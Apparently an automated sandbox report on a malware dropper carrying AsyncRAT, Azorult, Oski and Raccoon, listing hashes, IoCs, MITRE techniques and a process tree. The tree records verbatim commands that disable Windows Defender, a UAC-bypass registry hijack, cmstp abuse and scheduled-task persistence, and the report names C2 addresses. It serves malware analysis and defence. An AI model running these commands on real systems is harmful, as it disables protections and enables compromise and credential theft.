asyncrat | 83cca26268c671a45fb83a496b024c9a30944bae8afb4c3f70f0b47fb940ab25

Analysis

max time kernel
150s
max time network
155s
platform
windows10_x64
resource
win10v20210408
submitted
08/07/2021, 12:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0ac00107a92863b9d0a5dc58e4b87a91.exe
Size 909KB
Sample210708-fxrppth24a
SHA256 83cca26268c671a45fb83a496b024c9a30944bae8afb4c3f70f0b47fb940ab25
MD5 0ac00107a92863b9d0a5dc58e4b87a91
SHA1 a0638baa1f8b57f2ea720e1dced19386db840770
SHA512 be056cc0c07d44ccf177786b5599adbc3bdc951afe024c3a3f2f5f8902e8d8cdb866a2ffeb232f1e5b098a0c12e1e15e341a9a7811935fab8085da24d1c83101
MD5 SHA1 SHA512

Score

10^/10

asyncrat azorult modiloader oski raccoon discovery evasion infostealer persistence rat spyware stealer trojan upx

Malware Config

Extracted

Family

azorult

http://195.245.112.115/index.php

Extracted

Family

oski

erolbasa.ac.ug

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 7 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/3232-201-0x0000000004EC0000-0x00000000053BE000-memory.dmp	disable_win_def
behavioral2/memory/2868-222-0x0000000000400000-0x000000000040C000-memory.dmp	disable_win_def
behavioral2/memory/2868-224-0x000000000040616E-mapping.dmp	disable_win_def
behavioral2/memory/1780-230-0x0000000000400000-0x0000000000408000-memory.dmp	disable_win_def
behavioral2/memory/1780-231-0x0000000000403BEE-mapping.dmp	disable_win_def
behavioral2/files/0x000200000001ab60-258.dat	disable_win_def
behavioral2/files/0x000200000001ab60-257.dat	disable_win_def

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3940-243-0x000000000040C71E-mapping.dmp	asyncrat

Downloads MZ/PE file

Executes dropped EXE 19 IoCs

pid	Process
2224	axfdgjkhdf.exe
4064	2cWWztwtFJ.exe
2184	d7arWzldC3.exe
3964	woVPwpswsR.exe
3884	KQKPgCHFyz.exe
1164	A5Z6CJkdHk.exe
3232	oxfdgjkhdf.exe
1568	axfdgjkhdf.exe
3636	A5Z6CJkdHk.exe
2868	woVPwpswsR.exe
836	KQKPgCHFyz.exe
1780	KQKPgCHFyz.exe
3940	2cWWztwtFJ.exe
3872	umg3xtmb.exe
2272	sqlcmd.exe
420	oxfdgjkhdf.exe
1780	oxfdgjkhdf.exe
2012	oxfdgjkhdf.exe
4356	sqlcmd.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4024-263-0x0000000000400000-0x00000000007E4000-memory.dmp	upx

Loads dropped DLL 9 IoCs

pid	Process
2680	0ac00107a92863b9d0a5dc58e4b87a91.exe
2680	0ac00107a92863b9d0a5dc58e4b87a91.exe
2680	0ac00107a92863b9d0a5dc58e4b87a91.exe
2680	0ac00107a92863b9d0a5dc58e4b87a91.exe
2680	0ac00107a92863b9d0a5dc58e4b87a91.exe
2680	0ac00107a92863b9d0a5dc58e4b87a91.exe
2012	oxfdgjkhdf.exe
2012	oxfdgjkhdf.exe
2012	oxfdgjkhdf.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	KQKPgCHFyz.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	KQKPgCHFyz.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\Hjvbjtp = "C:\\Users\\Public\\Libraries\\ptjbvjH.url"	A5Z6CJkdHk.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\Pqlgwrp = "C:\\Users\\Public\\Libraries\\prwglqP.url"	d7arWzldC3.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\LocalLow\yJ7yX3xU-6u\desktop.ini	0ac00107a92863b9d0a5dc58e4b87a91.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
4024	ieinstal.exe
4024	ieinstal.exe
4024	ieinstal.exe
4024	ieinstal.exe

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 664 set thread context of 2680	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	79
PID 2224 set thread context of 1568	2224	axfdgjkhdf.exe	89
PID 1164 set thread context of 3636	1164	A5Z6CJkdHk.exe	90
PID 3964 set thread context of 2868	3964	woVPwpswsR.exe	96
PID 3884 set thread context of 1780	3884	KQKPgCHFyz.exe	98
PID 4064 set thread context of 3940	4064	2cWWztwtFJ.exe	107
PID 3232 set thread context of 2012	3232	oxfdgjkhdf.exe	151
PID 2272 set thread context of 4356	2272	sqlcmd.exe	156

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 1 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	oxfdgjkhdf.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
360	schtasks.exe
3476	schtasks.exe
4912	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4028	timeout.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
1460	taskkill.exe
1020	taskkill.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
3580	reg.exe
3964	reg.exe
4184	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3884	KQKPgCHFyz.exe
3884	KQKPgCHFyz.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	664	0ac00107a92863b9d0a5dc58e4b87a91.exe
Token: SeDebugPrivilege	2224	axfdgjkhdf.exe
Token: SeDebugPrivilege	3884	KQKPgCHFyz.exe
Token: SeDebugPrivilege	2868	woVPwpswsR.exe
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeDebugPrivilege	892	powershell.exe
Token: SeDebugPrivilege	1460	taskkill.exe
Token: SeShutdownPrivilege	4024	ieinstal.exe
Token: SeIncreaseQuotaPrivilege	892	powershell.exe
Token: SeSecurityPrivilege	892	powershell.exe
Token: SeTakeOwnershipPrivilege	892	powershell.exe
Token: SeLoadDriverPrivilege	892	powershell.exe
Token: SeSystemProfilePrivilege	892	powershell.exe
Token: SeSystemtimePrivilege	892	powershell.exe
Token: SeProfSingleProcessPrivilege	892	powershell.exe
Token: SeIncBasePriorityPrivilege	892	powershell.exe
Token: SeCreatePagefilePrivilege	892	powershell.exe
Token: SeBackupPrivilege	892	powershell.exe
Token: SeRestorePrivilege	892	powershell.exe
Token: SeShutdownPrivilege	892	powershell.exe
Token: SeDebugPrivilege	892	powershell.exe
Token: SeSystemEnvironmentPrivilege	892	powershell.exe
Token: SeRemoteShutdownPrivilege	892	powershell.exe
Token: SeUndockPrivilege	892	powershell.exe
Token: SeManageVolumePrivilege	892	powershell.exe
Token: 33	892	powershell.exe
Token: 34	892	powershell.exe
Token: 35	892	powershell.exe
Token: 36	892	powershell.exe
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	836	powershell.exe
Token: SeDebugPrivilege	4176	powershell.exe
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	4632	powershell.exe
Token: SeDebugPrivilege	4720	powershell.exe
Token: SeIncreaseQuotaPrivilege	1308	powershell.exe
Token: SeSecurityPrivilege	1308	powershell.exe
Token: SeTakeOwnershipPrivilege	1308	powershell.exe
Token: SeLoadDriverPrivilege	1308	powershell.exe
Token: SeSystemProfilePrivilege	1308	powershell.exe
Token: SeSystemtimePrivilege	1308	powershell.exe
Token: SeProfSingleProcessPrivilege	1308	powershell.exe
Token: SeIncBasePriorityPrivilege	1308	powershell.exe
Token: SeCreatePagefilePrivilege	1308	powershell.exe
Token: SeBackupPrivilege	1308	powershell.exe
Token: SeRestorePrivilege	1308	powershell.exe
Token: SeShutdownPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeSystemEnvironmentPrivilege	1308	powershell.exe
Token: SeRemoteShutdownPrivilege	1308	powershell.exe
Token: SeUndockPrivilege	1308	powershell.exe
Token: SeManageVolumePrivilege	1308	powershell.exe
Token: 33	1308	powershell.exe
Token: 34	1308	powershell.exe
Token: 35	1308	powershell.exe
Token: 36	1308	powershell.exe
Token: SeIncreaseQuotaPrivilege	1336	powershell.exe
Token: SeSecurityPrivilege	1336	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2868	woVPwpswsR.exe
2868	woVPwpswsR.exe
4024	ieinstal.exe
4024	ieinstal.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 664 wrote to memory of 2224	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	78
PID 664 wrote to memory of 2224	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	78
PID 664 wrote to memory of 2224	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	78
PID 664 wrote to memory of 2680	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	79
PID 664 wrote to memory of 2680	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	79
PID 664 wrote to memory of 2680	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	79
PID 664 wrote to memory of 2680	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	79
PID 664 wrote to memory of 2680	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	79
PID 664 wrote to memory of 2680	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	79
PID 664 wrote to memory of 2680	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	79
PID 664 wrote to memory of 2680	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	79
PID 664 wrote to memory of 2680	664	0ac00107a92863b9d0a5dc58e4b87a91.exe	79
PID 2680 wrote to memory of 4064	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	80
PID 2680 wrote to memory of 4064	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	80
PID 2680 wrote to memory of 4064	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	80
PID 2680 wrote to memory of 2184	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	81
PID 2680 wrote to memory of 2184	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	81
PID 2680 wrote to memory of 2184	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	81
PID 2680 wrote to memory of 3964	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	82
PID 2680 wrote to memory of 3964	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	82
PID 2680 wrote to memory of 3964	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	82
PID 2680 wrote to memory of 3884	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	83
PID 2680 wrote to memory of 3884	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	83
PID 2680 wrote to memory of 3884	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	83
PID 2680 wrote to memory of 1164	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	84
PID 2680 wrote to memory of 1164	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	84
PID 2680 wrote to memory of 1164	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	84
PID 2680 wrote to memory of 424	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	85
PID 2680 wrote to memory of 424	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	85
PID 2680 wrote to memory of 424	2680	0ac00107a92863b9d0a5dc58e4b87a91.exe	85
PID 424 wrote to memory of 4028	424	cmd.exe	87
PID 424 wrote to memory of 4028	424	cmd.exe	87
PID 424 wrote to memory of 4028	424	cmd.exe	87
PID 2224 wrote to memory of 3232	2224	axfdgjkhdf.exe	88
PID 2224 wrote to memory of 3232	2224	axfdgjkhdf.exe	88
PID 2224 wrote to memory of 3232	2224	axfdgjkhdf.exe	88
PID 2224 wrote to memory of 1568	2224	axfdgjkhdf.exe	89
PID 2224 wrote to memory of 1568	2224	axfdgjkhdf.exe	89
PID 2224 wrote to memory of 1568	2224	axfdgjkhdf.exe	89
PID 2224 wrote to memory of 1568	2224	axfdgjkhdf.exe	89
PID 2224 wrote to memory of 1568	2224	axfdgjkhdf.exe	89
PID 2224 wrote to memory of 1568	2224	axfdgjkhdf.exe	89
PID 2224 wrote to memory of 1568	2224	axfdgjkhdf.exe	89
PID 2224 wrote to memory of 1568	2224	axfdgjkhdf.exe	89
PID 2224 wrote to memory of 1568	2224	axfdgjkhdf.exe	89
PID 1164 wrote to memory of 3636	1164	A5Z6CJkdHk.exe	90
PID 1164 wrote to memory of 3636	1164	A5Z6CJkdHk.exe	90
PID 1164 wrote to memory of 3636	1164	A5Z6CJkdHk.exe	90
PID 1164 wrote to memory of 3636	1164	A5Z6CJkdHk.exe	90
PID 1164 wrote to memory of 3636	1164	A5Z6CJkdHk.exe	90
PID 1164 wrote to memory of 3636	1164	A5Z6CJkdHk.exe	90
PID 1164 wrote to memory of 3636	1164	A5Z6CJkdHk.exe	90
PID 1164 wrote to memory of 3636	1164	A5Z6CJkdHk.exe	90
PID 1164 wrote to memory of 3636	1164	A5Z6CJkdHk.exe	90
PID 1164 wrote to memory of 1428	1164	A5Z6CJkdHk.exe	91
PID 1164 wrote to memory of 1428	1164	A5Z6CJkdHk.exe	91
PID 1164 wrote to memory of 1428	1164	A5Z6CJkdHk.exe	91
PID 2184 wrote to memory of 4024	2184	d7arWzldC3.exe	92
PID 2184 wrote to memory of 4024	2184	d7arWzldC3.exe	92
PID 2184 wrote to memory of 4024	2184	d7arWzldC3.exe	92
PID 2184 wrote to memory of 4024	2184	d7arWzldC3.exe	92
PID 2184 wrote to memory of 4024	2184	d7arWzldC3.exe	92
PID 2184 wrote to memory of 4024	2184	d7arWzldC3.exe	92
PID 2184 wrote to memory of 4024	2184	d7arWzldC3.exe	92

C:\Users\Admin\AppData\Local\Temp\0ac00107a92863b9d0a5dc58e4b87a91.exe
"C:\Users\Admin\AppData\Local\Temp\0ac00107a92863b9d0a5dc58e4b87a91.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:664
- C:\Users\Admin\AppData\Local\Temp\axfdgjkhdf.exe
  "C:\Users\Admin\AppData\Local\Temp\axfdgjkhdf.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Users\Admin\AppData\Local\Temp\oxfdgjkhdf.exe
    "C:\Users\Admin\AppData\Local\Temp\oxfdgjkhdf.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:3232
  - - C:\Users\Admin\AppData\Local\Temp\oxfdgjkhdf.exe
      "{path}"
      4⤵
      Executes dropped EXE
      PID:420
  - - C:\Users\Admin\AppData\Local\Temp\oxfdgjkhdf.exe
      "{path}"
      4⤵
      Executes dropped EXE
      PID:1780
  - - C:\Users\Admin\AppData\Local\Temp\oxfdgjkhdf.exe
      "{path}"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      PID:2012
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /pid 2012 & erase C:\Users\Admin\AppData\Local\Temp\oxfdgjkhdf.exe & RD /S /Q C:\\ProgramData\\623968184015443\\* & exit
        5⤵
        
        PID:4980
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /pid 2012
        6⤵
        Kills process with taskkill
        
        PID:1020
- - C:\Users\Admin\AppData\Local\Temp\axfdgjkhdf.exe
    "{path}"
    3⤵
    - Executes dropped EXE
    PID:1568
- C:\Users\Admin\AppData\Local\Temp\0ac00107a92863b9d0a5dc58e4b87a91.exe
  "{path}"
  2⤵
  - Loads dropped DLL
  - Drops desktop.ini file(s)
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Users\Admin\AppData\Local\Temp\2cWWztwtFJ.exe
    "C:\Users\Admin\AppData\Local\Temp\2cWWztwtFJ.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:4064
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dwBYAHYJKqRykk" /XML "C:\Users\Admin\AppData\Local\Temp\tmpEA13.tmp"
      4⤵
      Creates scheduled task(s)
      PID:3476
  - - C:\Users\Admin\AppData\Local\Temp\2cWWztwtFJ.exe
      "{path}"
      4⤵
      Executes dropped EXE
      PID:3940
- - C:\Users\Admin\AppData\Local\Temp\d7arWzldC3.exe
    "C:\Users\Admin\AppData\Local\Temp\d7arWzldC3.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2184
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4024
- - C:\Users\Admin\AppData\Local\Temp\woVPwpswsR.exe
    "C:\Users\Admin\AppData\Local\Temp\woVPwpswsR.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:3964
  - - C:\Users\Admin\AppData\Local\Temp\woVPwpswsR.exe
      "{path}"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2868
    - - \??\c:\windows\SysWOW64\cmstp.exe
        
        "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\fvyd0wmr.inf
        5⤵
        
        PID:424
- - C:\Users\Admin\AppData\Local\Temp\KQKPgCHFyz.exe
    "C:\Users\Admin\AppData\Local\Temp\KQKPgCHFyz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3884
  - - C:\Users\Admin\AppData\Local\Temp\KQKPgCHFyz.exe
      "{path}"
      4⤵
      Executes dropped EXE
      PID:836
  - - C:\Users\Admin\AppData\Local\Temp\KQKPgCHFyz.exe
      "{path}"
      4⤵
      Executes dropped EXE
      Windows security modification
      PID:1780
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Get-MpPreference -verbose
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4060
- - C:\Users\Admin\AppData\Local\Temp\A5Z6CJkdHk.exe
    "C:\Users\Admin\AppData\Local\Temp\A5Z6CJkdHk.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Users\Admin\AppData\Local\Temp\A5Z6CJkdHk.exe
      "C:\Users\Admin\AppData\Local\Temp\A5Z6CJkdHk.exe"
      4⤵
      Executes dropped EXE
      PID:3636
    - - C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:360
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Trast.bat" "
      4⤵
      PID:1428
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
        5⤵
        
        PID:688
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete hkcu\Environment /v windir /f
        6⤵
        Modifies registry key
        
        PID:3580
      - C:\Windows\SysWOW64\reg.exe
        
        reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
        6⤵
        Modifies registry key
        
        PID:3964
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
        6⤵
        
        PID:840
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\nest.bat" "
      4⤵
      PID:1032
    - - C:\Windows\SysWOW64\reg.exe
        
        reg delete hkcu\Environment /v windir /f
        5⤵
        Modifies registry key
        
        PID:4184
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\0ac00107a92863b9d0a5dc58e4b87a91.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:424
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /T 10 /NOBREAK
      4⤵
      Delays execution with timeout.exe
      PID:4028

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
PID:1568
- C:\Windows\SysWOW64\cmd.exe
  cmd /c start C:\Windows\temp\umg3xtmb.exe
  2⤵
  PID:836
- - C:\Windows\temp\umg3xtmb.exe
    C:\Windows\temp\umg3xtmb.exe
    3⤵
    - Executes dropped EXE
    PID:3872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1308
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:836
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4720
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /IM cmstp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1460

C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2272
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
  2⤵
  - Executes dropped EXE
  PID:4356
- - C:\Windows\SysWOW64\schtasks.exe
    /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
    3⤵
    - Creates scheduled task(s)
    PID:4912

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

